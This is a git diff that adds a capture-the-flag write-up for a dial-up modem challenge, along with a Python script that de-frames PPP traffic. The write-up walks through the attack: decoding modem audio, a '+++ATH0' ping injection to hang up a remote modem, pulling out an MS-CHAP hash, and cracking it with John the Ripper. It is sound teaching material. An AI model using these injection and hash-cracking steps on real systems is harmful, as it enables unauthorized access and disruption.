56k
This commit is contained in:
parent
14044b1272
commit
d5ec5327da
|
@ -0,0 +1,210 @@
|
||||||
|
# 56K Flex Magic
|
||||||
|
|
||||||
|
**Category:** Communication Systems
|
||||||
|
**Points (final):** 205
|
||||||
|
**Solves:** 13
|
||||||
|
|
||||||
|
>Anyone out there speak modem anymore? We were able to listen in to on, maybe you can ask it for a
|
||||||
|
>flag…
|
||||||
|
>
|
||||||
|
>UPDATE: Since everyone is asking, yes...a BUSY signal when dialing the ground station is expected
|
||||||
|
>behavior.
|
||||||
|
|
||||||
|
## Write-up
|
||||||
|
|
||||||
|
by [haskal](https://awoo.systems)
|
||||||
|
|
||||||
|
An audio file is included that contains a session where a number is dialed, and then some modem data
|
||||||
|
is exchanged (it's a very distinctive sound). Additionally, there is a note included with the
|
||||||
|
following text.
|
||||||
|
|
||||||
|
```
|
||||||
|
---=== MY SERVER ===---
|
||||||
|
Phone #: 275-555-0143
|
||||||
|
Username: hax
|
||||||
|
Password: hunter2
|
||||||
|
|
||||||
|
* Modem implements a (very small) subset of 'Basic' commands as
|
||||||
|
described in the ITU-T V.250 spec (Table I.2)
|
||||||
|
|
||||||
|
---=== THEIR SERVER ===---
|
||||||
|
|
||||||
|
Ground station IP: 93.184.216.34
|
||||||
|
Ground station Phone #: 458-XXX-XXXX ...?
|
||||||
|
Username: ?
|
||||||
|
Password: ?
|
||||||
|
|
||||||
|
* They use the same model of modem as mine... could use +++ATH0
|
||||||
|
ping of death
|
||||||
|
* It'll have an interactive login similar to my server
|
||||||
|
* Their official password policy: minimum requirements of
|
||||||
|
FIPS112 (probably just numeric)
|
||||||
|
* TL;DR - section 4.1.1 of 'NBS Special Publication 500-137'
|
||||||
|
```
|
||||||
|
|
||||||
|
ITU-T V.250 is essentially a formalization of the [Hayes command
|
||||||
|
set](https://en.wikipedia.org/wiki/Hayes_command_set), so we can use basic Hayes commands to
|
||||||
|
interact with our local modem, such as
|
||||||
|
```
|
||||||
|
ATDTXXXXXXXXXX - dial number XXX...
|
||||||
|
ATH0 - hang up
|
||||||
|
+++ - get the local modem's attention while in a remote session
|
||||||
|
```
|
||||||
|
|
||||||
|
The first step is to try to get information about the ground station server. We can decode the dial
|
||||||
|
tones from the audio file, which are
|
||||||
|
[DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling) tones. Once decoded we
|
||||||
|
obtain a phone number for the ground station of `458-555-0142`. However dialing this number results
|
||||||
|
in an error - `BUSY`. Presumably, the ground station is already dialed into somewhere, and we need
|
||||||
|
to disconnect it.
|
||||||
|
|
||||||
|
The "ping of death" refers to injecting a modem command into a packet sent to a remote server in
|
||||||
|
order to cause the server's modem to interpret a hang up command contained in the packet. This can
|
||||||
|
be achieved by pinging with the data `+++ATH0`, but we need to escape it with hex to avoid having
|
||||||
|
our local modem hang up instead. Once in the session, we dial the number in the text file to get an
|
||||||
|
initial shell session
|
||||||
|
|
||||||
|
```
|
||||||
|
ATDT2755550143
|
||||||
|
```
|
||||||
|
|
||||||
|
Next, issue a ping of death to the provided server IP
|
||||||
|
```bash
|
||||||
|
ping -v 0x2b2b2b415448290d 93.184.216.34
|
||||||
|
```
|
||||||
|
|
||||||
|
Now the ground station should be disconnect so it is available for us to dial.
|
||||||
|
|
||||||
|
```
|
||||||
|
+++ATH0
|
||||||
|
ATDT45845550142
|
||||||
|
```
|
||||||
|
|
||||||
|
We get a login prompt for SATNET
|
||||||
|
|
||||||
|
```
|
||||||
|
* * . * * * . * * . * * .
|
||||||
|
. * * . * . . * . *
|
||||||
|
* +------------------------------+
|
||||||
|
. | SATNET | *
|
||||||
|
+------------------------------+ .
|
||||||
|
. | UNAUTHORIZED ACCESS IS |
|
||||||
|
| STRICTLY PROHIBITED |
|
||||||
|
. +------------------------------+ .
|
||||||
|
. .
|
||||||
|
.
|
||||||
|
|
||||||
|
Setting up - this will take a while...
|
||||||
|
|
||||||
|
LOGIN
|
||||||
|
Username:
|
||||||
|
```
|
||||||
|
|
||||||
|
However we still need the username and password. Maybe the provided audio file has the credentials
|
||||||
|
somewhere in the dialup modem exchange. By analyzing the spectrum in Audacity (or any analyzer of
|
||||||
|
choice) we discover that it has peaks around 980 Hz, 1180 Hz, 1650 Hz, and 1850 Hz. This is
|
||||||
|
consistent with the [ITU V.21 standard](https://www.itu.int/rec/T-REC-V.21-198811-I/en) which uses
|
||||||
|
dual-channel Frequency Shift Keying at 300 bits/second. We can use
|
||||||
|
[minimodem](https://github.com/kamalmostafa/minimodem) to decode the modem traffic. We can provide
|
||||||
|
the two FSK frequencies (the "mark" and "space", representing each bit of the data) for channel 1
|
||||||
|
and then for channel 2 to get both sides of the exchange. We also need to provide the bit rate.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
minimodem -8 -S 980 -M 1180 -f recording.wav 300
|
||||||
|
minimodem -8 -S 1650 -M 1850 -f recording.wav 300
|
||||||
|
```
|
||||||
|
|
||||||
|
This data looks like garbage but it contains some strings, notably `rocketman2674`. We assume from
|
||||||
|
the notes file that the password is a 4-digit number, but trying the username `rocketman` and
|
||||||
|
password `2674` didn't work. We need to look closer. This is the beginning of one side of the
|
||||||
|
exchange in hex:
|
||||||
|
|
||||||
|
```hexdump
|
||||||
|
00000000: 7eff 7d23 c021 7d21 7d20 7d20 7d34 7d22 ~.}#.!}!} } }4}"
|
||||||
|
00000010: 7d26 7d20 7d20 7d20 7d20 7d25 7d26 28e5 }&} } } } }%}&(.
|
||||||
|
00000020: 4c21 7d27 7d22 7d28 7d22 e193 7e7e ff7d L!}'}"}(}"..~~.}
|
||||||
|
00000030: 23c0 217d 217d 217d 207d 347d 227d 267d #.!}!}!} }4}"}&}
|
||||||
|
00000040: 207d 207d 207d 207d 257d 2628 e54c 217d } } } }%}&(.L!}
|
||||||
|
```
|
||||||
|
|
||||||
|
It starts with `7eff`, which is characteristic of [Point-to-Point
|
||||||
|
Protocol](https://en.wikipedia.org/wiki/Point-to-Point_Protocol). We can decode the packets with
|
||||||
|
[scapy](https://github.com/secdev/scapy), a framework for network protocol analysis. However, first
|
||||||
|
we have to de-frame the PPP frames since there doesn't seem to be a tool for this automatically.
|
||||||
|
There are two main tasks, first split up the frames by the `7e` delimiters, and then remove the byte
|
||||||
|
stuffing within the frame, since PPP will escape certain bytes with the `7d` prefix followed by the
|
||||||
|
byte XOR `0x20`. Finally, the frame can be passed to scapy for analysis. This is a VERY lax
|
||||||
|
de-framer because sometimes frames seemed to not be started or terminated properly.
|
||||||
|
|
||||||
|
def decode(ch):
|
||||||
|
buf2 = b""
|
||||||
|
esc = False
|
||||||
|
|
||||||
|
for x in ch:
|
||||||
|
if x == 0x7e:
|
||||||
|
if buf2 != b"\xFF" and buf2 != b"":
|
||||||
|
print(PPP(buf2).__repr__())
|
||||||
|
buf2 = b""
|
||||||
|
esc = False
|
||||||
|
elif esc:
|
||||||
|
esc = False
|
||||||
|
buf2 += bytes([x^0x20])
|
||||||
|
elif x == 0x7d:
|
||||||
|
esc = True
|
||||||
|
else:
|
||||||
|
buf2 += bytes([x])
|
||||||
|
|
||||||
|
if len(buf2) > 0:
|
||||||
|
print(PPP(buf2).__repr__())
|
||||||
|
|
||||||
|
Now we can see what the packets mean. In particular, we spot these ones:
|
||||||
|
|
||||||
|
```
|
||||||
|
===================== CH 1
|
||||||
|
|
||||||
|
<HDLC address=0xff control=0x3 |<PPP proto=Link Control Protocol |<PPP_LCP_Configure code=Configure-Ack id=0x2 len=28 options=[<PPP_LCP_ACCM_Option type=Async-Control-Character-Map len=6 accm=0 |>, <PPP_LCP_Auth_Protocol_Option type=Authentication-protocol len=5 auth_protocol=Challenge-response authentication protocol algorithm=MS-CHAP |>, <PPP_LCP_Magic_Number_Option type=Magic-number len=6 magic_number=77681304 |>, <PPP_LCP_Option type=Protocol-Field-Compression len=2 data='' |>, <PPP_LCP_Option type=Address-and-Control-Field-Compression len=2 data='' |>, <PPP_LCP_Callback_Option type=Callback len=3 operation=6 |>] |<Padding load='\xbe6' |>>>>
|
||||||
|
<PPP proto=Challenge Handshake Authentication Protocol |<PPP_CHAP_ChallengeResponse code=Response id=0x0 len=67 value_size=49 value=0000000000000000000000000000000000000000000000006c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b401 optional_name='rocketman2674' |<Padding load='c\x89' |>>>
|
||||||
|
|
||||||
|
===================== CH 2
|
||||||
|
|
||||||
|
<PPP proto=Challenge Handshake Authentication Protocol |<PPP_CHAP_ChallengeResponse code=Challenge id=0x0 len=26 value_size=8 value=12810ab88c7f1c74 optional_name='GRNDSTTNA8F6C' |<Padding load='[\x1f' |>>>
|
||||||
|
<PPP proto=Challenge Handshake Authentication Protocol |<PPP_CHAP code=Success id=0x0 len=4 data='' |<Padding load='\x1e\xe6' |>>>
|
||||||
|
```
|
||||||
|
|
||||||
|
We can see in this exchange that the client has negotiated `MS-CHAP` authentication and then
|
||||||
|
authenticates to the server successfully. MS-CHAP uses NetNTLMv1 hashes, which can be cracked very
|
||||||
|
easily. We just need the username (`rocketman2674`), the "challenge" which is used as a salt for the
|
||||||
|
hash, and the hash itself. The format of the response in MS-CHAP (according to RFC2433) is 49 bytes,
|
||||||
|
including 24 bytes of stuff we ignore, 24 bytes of hash, and one byte of stuff we also ignore. We
|
||||||
|
can now convert the data into a [John-the-Ripper](https://www.openwall.com/john/) compatible hash
|
||||||
|
like
|
||||||
|
|
||||||
|
```
|
||||||
|
username:$NETNTLM$challenge$hash
|
||||||
|
|
||||||
|
rocketman2674:$NETNTLM$12810ab88c7f1c74$6c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b4
|
||||||
|
```
|
||||||
|
|
||||||
|
Technically, you can use hashcat as well but I didn't want to bother with the hashcat flags. Put
|
||||||
|
this hash in a text file and run `john file.txt`. No need to specify 4 digit pins because john will
|
||||||
|
complete in literal seconds anyway.
|
||||||
|
|
||||||
|
```
|
||||||
|
Proceeding with incremental:ASCII
|
||||||
|
9435 (rocketman2674)
|
||||||
|
1g 0:00:00:08 DONE 3/3 (2020-05-26 03:07) 0.1212g/s 10225Kp/s 10225Kc/s 10225KC/s 97xx..94b4
|
||||||
|
Use the "--show --format=netntlm" options to display all of the cracked passwords reliably
|
||||||
|
Session completed
|
||||||
|
```
|
||||||
|
|
||||||
|
Use `rocketman2674` with password `9435` to log in to the ground station, then execute the `flag`
|
||||||
|
command to get the flag.
|
||||||
|
|
||||||
|
## Resources and other writeups
|
||||||
|
|
||||||
|
* <https://en.wikipedia.org/wiki/Hayes_command_set>
|
||||||
|
* <https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling>
|
||||||
|
* <https://github.com/kamalmostafa/minimodem>
|
||||||
|
* <https://en.wikipedia.org/wiki/Point-to-Point_Protocol>
|
||||||
|
* <https://tools.ietf.org/html/rfc2433>
|
||||||
|
* <https://www.openwall.com/john/>
|
|
@ -0,0 +1,38 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
from scapy.all import *
|
||||||
|
|
||||||
|
with open("ch1", "rb") as f:
|
||||||
|
ch1 = f.read()
|
||||||
|
|
||||||
|
with open("ch2", "rb") as f:
|
||||||
|
ch2 = f.read()
|
||||||
|
|
||||||
|
# print(PPP(ch2[0x16a:0x186]).show())
|
||||||
|
# print(PPP(ch1[0x171:0x170+70]).show())
|
||||||
|
|
||||||
|
def decode(ch):
|
||||||
|
buf2 = b""
|
||||||
|
esc = False
|
||||||
|
|
||||||
|
for x in ch:
|
||||||
|
if x == 0x7e:
|
||||||
|
if buf2 != b"\xFF" and buf2 != b"":
|
||||||
|
print(PPP(buf2).__repr__())
|
||||||
|
buf2 = b""
|
||||||
|
esc = False
|
||||||
|
elif esc:
|
||||||
|
esc = False
|
||||||
|
buf2 += bytes([x^0x20])
|
||||||
|
elif x == 0x7d:
|
||||||
|
esc = True
|
||||||
|
else:
|
||||||
|
buf2 += bytes([x])
|
||||||
|
|
||||||
|
if len(buf2) > 0:
|
||||||
|
print(PPP(buf2).__repr__())
|
||||||
|
|
||||||
|
print("\n", "=====================", "CH 1", "\n")
|
||||||
|
decode(ch1)
|
||||||
|
print("\n", "=====================", "CH 2", "\n")
|
||||||
|
decode(ch2)
|
Loading…
Reference in New Issue